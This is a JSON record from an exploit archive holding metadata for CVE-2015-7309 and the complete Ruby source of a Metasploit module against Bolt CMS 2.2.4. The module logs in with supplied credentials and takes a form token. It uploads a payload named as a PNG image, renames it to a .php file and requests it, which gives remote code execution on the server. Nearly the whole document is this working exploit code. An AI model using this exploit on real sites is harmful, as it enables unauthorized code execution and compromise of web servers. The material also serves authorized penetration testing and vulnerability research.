{"exploit":{"id":"EDB-38196","name":"Bolt CMS 2.2.4 - Arbitrary File Upload (Metasploit)","description":"Bolt CMS 2.2.4 - Arbitrary File Upload (Metasploit)","cves":["CVE-2015-7309"],"author":"Metasploit","published":"2015-09-15","platform":"php","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38196","path":"exploits/php/remote/38196.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38196.rb","vulnerabilities":[{"id":"CVE-2015-7309","state":"PUBLISHED","title":null,"titleSource":null,"description":"The theme editor in Bolt before 2.2.5 does not check the file extension when renaming files, which allows remote authenticated users to execute arbitrary code by renaming a crafted file and then directly accessing it.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-7309","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-7309"},"updatedAt":"2024-09-16T23:31:55.671Z","retrievedAt":"2026-11-27T18:09:36.582Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38196.png?v=2","url":"https://exploitbin.com/exploits/EDB-38196","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38196/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38196/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://www.metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(update_info(\n      info,\n      'Name'            => 'CMS Bolt File Upload Vulnerability',\n      'Description'     => %q{\n          Bolt CMS contains a flaw that allows an authenticated remote\n          attacker to execute arbitrary PHP code. This module was\n          tested on version 2.2.4.\n        },\n      'License'         => MSF_LICENSE,\n      'Author'          =>\n        [\n          'Tim Coen', # Vulnerability Disclosure\n          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module\n        ],\n      'References'      =>\n        [\n          ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']\n        ],\n      'DisclosureDate'  => 'Aug 17 2015',\n      'Platform'        => 'php',\n      'Arch'            => ARCH_PHP,\n      'Targets'         => [['Bolt 2.2.4', {}]],\n      'DefaultTarget'   => 0\n    ))\n\n    register_options(\n      [\n        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),\n        OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),\n        OptString.new('USERNAME',   [true, 'The username to authenticate with']),\n        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])\n      ], self.class)\n  end\n\n  def check\n    cookie = bolt_login(username, password)\n    return Exploit::CheckCode::Detected unless cookie\n\n    res = send_request_cgi(\n      'method'      => 'GET',\n      'uri'         => normalize_uri(target_uri.path, 'bolt'),\n      'cookie'      => cookie\n    )\n\n    if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')\n      return Exploit::CheckCode::Vulnerable\n    end\n    Exploit::CheckCode::Safe\n  end\n\n  def username\n    datastore['USERNAME']\n  end\n\n  def password\n    datastore['PASSWORD']\n  end\n\n  def fname\n    datastore['FOLDERNAME']\n  end\n\n  def bolt_login(user, pass)\n    res = send_request_cgi(\n      'method'      => 'GET',\n      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login')\n    )\n\n    fail_with(Failure::Unreachable, 'No response received from the target.') unless res\n\n    session_cookie = res.get_cookies\n    vprint_status(\"#{peer} - Logging in...\")\n    res = send_request_cgi(\n      'method'      => 'POST',\n      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login'),\n      'cookie'      => session_cookie,\n      'vars_post'   => {\n        'username'  => user,\n        'password'  => pass,\n        'action'    => 'login'\n      }\n    )\n\n    return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')\n    nil\n  end\n\n  def get_token(cookie, fname)\n    res = send_request_cgi(\n      'method'      => 'GET',\n      'uri'         => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),\n      'cookie'      => cookie\n    )\n\n    if res && res.code == 200 && res.body =~ / name=\"form\\[_token\\]\" value=\"(.+)\" /\n      return Regexp.last_match[1]\n    end\n    nil\n  end\n\n  def rename_payload(cookie, payload, fname)\n    res = send_request_cgi(\n      'method'      => 'POST',\n      'uri'         => normalize_uri(target_uri.path, 'async', 'renamefile'),\n      'vars_post'   => {\n        'namespace' => 'theme',\n        'parent'    => fname,\n        'oldname'   => \"#{payload}.png\",\n        'newname'   => \"#{payload}.php\"\n      },\n      'cookie'      => cookie\n    )\n\n    return true if res && res.code == 200 && res.body.include?('1')\n    nil\n  end\n\n  def exploit\n    vprint_status(\"#{peer} - Authenticating using #{username}:#{password}\")\n\n    cookie = bolt_login(username, password)\n    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?\n    vprint_good(\"#{peer} - Authenticated with Bolt.\")\n\n    token = get_token(cookie, fname)\n    fail_with(Failure::Unknown, 'No token found.') if token.nil?\n    vprint_good(\"#{peer} - Token \\\"#{token}\\\" found.\")\n\n    vprint_status(\"#{peer} - Preparing payload...\")\n    payload_name = Rex::Text.rand_text_alpha_lower(10)\n\n    data = Rex::MIME::Message.new\n    data.add_part(payload.encoded, 'image/png', nil, \"form-data; name=\\\"form[FileUpload][]\\\"; filename=\\\"#{payload_name}.png\\\"\")\n    data.add_part(\"#{token}\", nil, nil, 'form-data; name=\"form[_token]\"')\n    post_data = data.to_s\n\n    vprint_status(\"#{peer} - Uploading payload...\")\n    res = send_request_cgi(\n      'method'    => 'POST',\n      'uri'       => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),\n      'ctype'     => \"multipart/form-data; boundary=#{data.bound}\",\n      'data'      => post_data,\n      'cookie'    => cookie\n    )\n\n    fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302\n    vprint_good(\"#{peer} - Uploaded the payload.\")\n\n    rename = rename_payload(cookie, payload_name, fname)\n    fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?\n\n    php_file_name = \"#{payload_name}.php\"\n    payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)\n    vprint_status(\"#{peer} - Parsed response.\")\n\n    register_files_for_cleanup(php_file_name)\n    vprint_status(\"#{peer} - Executing the payload at #{payload_url}.\")\n    send_request_cgi(\n      'uri'     => payload_url,\n      'method'  => 'GET'\n    )\n  end\nend","sha256":"53b1e6720e4c165ba6b9111edb00681713db75088a91099383850ae179a9559f","bytes":5633,"fetchedAt":"2026-11-27T18:09:33.641Z","encoding":"utf-8 (display only; download retains original bytes)"}